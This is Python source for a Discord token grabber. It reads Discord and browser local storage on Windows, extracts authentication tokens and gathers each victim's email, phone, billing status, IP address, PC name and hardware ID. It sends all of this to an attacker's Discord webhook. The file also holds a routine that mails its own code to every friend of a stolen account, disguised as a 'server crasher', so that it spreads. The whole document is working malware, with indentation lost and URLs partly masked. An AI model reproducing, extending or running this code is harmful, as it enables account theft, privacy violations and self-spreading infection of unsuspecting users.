import os

if [Link] != "nt":
exit()
from re import findall
from json import loads, dumps
from base64 import b64decode
from subprocess import Popen, PIPE
from [Link] import Request, urlopen
from datetime import datetime
from threading import Thread
from time import sleep
from sys import argv
LOCAL = [Link]("LOCALAPPDATA")
ROAMING = [Link]("APPDATA")
PATHS = {
"Discord" : ROAMING + "\\Discord",
"Discord Canary" : ROAMING + "\\discordcanary",
"Discord PTB" : ROAMING + "\\discordptb",
"Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",
"Opera" : ROAMING + "\\Opera Software\\Opera Stable",
"Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\
Default",
"Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default"
}
def getheaders(token=None, content_type="application/json"):
headers = {
"Content-Type": content_type,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML,
like Gecko) Chrome/23.0.1271.64 Safari/537.11"
}
if token:
[Link]({"Authorization": token})
return headers
def getuserdata(token):
try:
return loads(urlopen(Request("[Link]
headers=getheaders(token))).read().decode())
except:
pass
def gettokens(path):
path += "\\Local Storage\\leveldb"
tokens = []
for file_name in [Link](path):
if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
continue
for line in [[Link]() for x in open(f"{path}\\{file_name}",
errors="ignore").readlines() if [Link]()]:
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
for token in findall(regex, line):
[Link](token)
return tokens
def getdeveloper():
dev = "wodx"
try:
dev = urlopen(Request("[Link]
except:
pass
return dev
def getip():
 ip = "None"
try:
ip = urlopen(Request("[Link]
except:
pass
return ip
def getavatar(uid, aid):
url = f"[Link]
try:
urlopen(Request(url))
except:
url = url[:-4]
return url
def gethwid():
p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE,
stderr=PIPE)
return ([Link]() + [Link]()).decode().split("\n")[1]
def getfriends(token):
try:
return
loads(urlopen(Request("[Link]
headers=getheaders(token))).read().decode())
except:
pass
def getchat(token, uid):
try:
return
loads(urlopen(Request("[Link]
headers=getheaders(token), data=dumps({"recipient_id":
uid}).encode())).read().decode())["id"]
except:
pass
def has_payment_methods(token):
try:
return
bool(len(loads(urlopen(Request("[Link]
payment-sources", headers=getheaders(token))).read().decode())) > 0)
except:
pass
def send_message(token, chat_id, form_data):
try:
urlopen(Request(f"[Link]
messages", headers=getheaders(token, "multipart/form-data;
boundary=---------------------------325414537030329320151394843687"),
data=form_data.encode())).read().decode()
except:
pass
def spread(token, form_data, delay):
return # Remove to re-enabled
for friend in getfriends(token):
try:
chat_id = getchat(token, friend["id"])
send_message(token, chat_id, form_data)
except Exception as e:
pass
sleep(delay)
def main():
cache_path = ROAMING + "\\.cache~$"
prevent_spam = True
 self_spread = True
embeds = []
working = []
checked = []
already_cached_tokens = []
working_ids = []
ip = getip()
pc_username = [Link]("UserName")
pc_name = [Link]("COMPUTERNAME")
user_path_name = [Link]("userprofile").split("\\")[2]
developer = getdeveloper()
for platform, path in [Link]():
if not [Link](path):
continue
for token in gettokens(path):
if token in checked:
continue
[Link](token)
uid = None
if not [Link]("mfa."):
try:
uid = b64decode([Link](".")[0].encode()).decode()
except:
pass
if not uid or uid in working_ids:
continue
user_data = getuserdata(token)
if not user_data:
continue
working_ids.append(uid)
[Link](token)
username = user_data["username"] + "#" +
str(user_data["discriminator"])
user_id = user_data["id"]
avatar_id = user_data["avatar"]
avatar_url = getavatar(user_id, avatar_id)
email = user_data.get("email")
phone = user_data.get("phone")
nitro = bool(user_data.get("premium_type"))
billing = bool(has_payment_methods(token))
embed = {
"color": 0x7289da,
"fields": [
{
"name": "**Account Info**",
"value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\
nBilling Info: {billing}',
"inline": True
},
{
"name": "**PC Info**",
"value": f'IP: {ip}\nUsername: {pc_username}\nPC Name:
{pc_name}\nToken Location: {platform}',
"inline": True
},
{
"name": "**Token**",
"value": token,
"inline": False
 }
],
"author": {
"name": f"{username} ({user_id})",
"icon_url": avatar_url
},
"footer": {
"text": f"Token grabber by {developer}"
}
}
[Link](embed)
with open(cache_path, "a") as file:
for token in checked:
if not token in already_cached_tokens:
[Link](token + "\n")
if len(working) == 0:
[Link]('123')
webhook = {
"content": "",
"embeds": embeds,
"username": "Discord Token Grabber",
"avatar_url":
"[Link]
}
try:
urlopen(Request("[Link]
yUrGfF9QwYBAADwcjmowop9vafv3LKu2SbgvBgP2X7nw_27Bf_Pfx1eSt7f9GQKH0Uti",
data=dumps(webhook).encode(), headers=getheaders()))
except:
pass
if self_spread:
for token in working:
with open(argv[0], encoding="utf-8") as file:
content = [Link]()
payload = f'-----------------------------
325414537030329320151394843687\nContent-Disposition: form-data; name="file";
filename="{__file__}"\nContent-Type: text/plain\n\n{content}\
n-----------------------------325414537030329320151394843687\nContent-Disposition:
form-data; name="content"\n\nserver crasher. python download:
[Link]
325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\
nfalse\n-----------------------------325414537030329320151394843687--'
Thread(target=spread, args=(token, payload, 7500 / 1000)).start()
try:
main()
except Exception as e:
print(e)
pass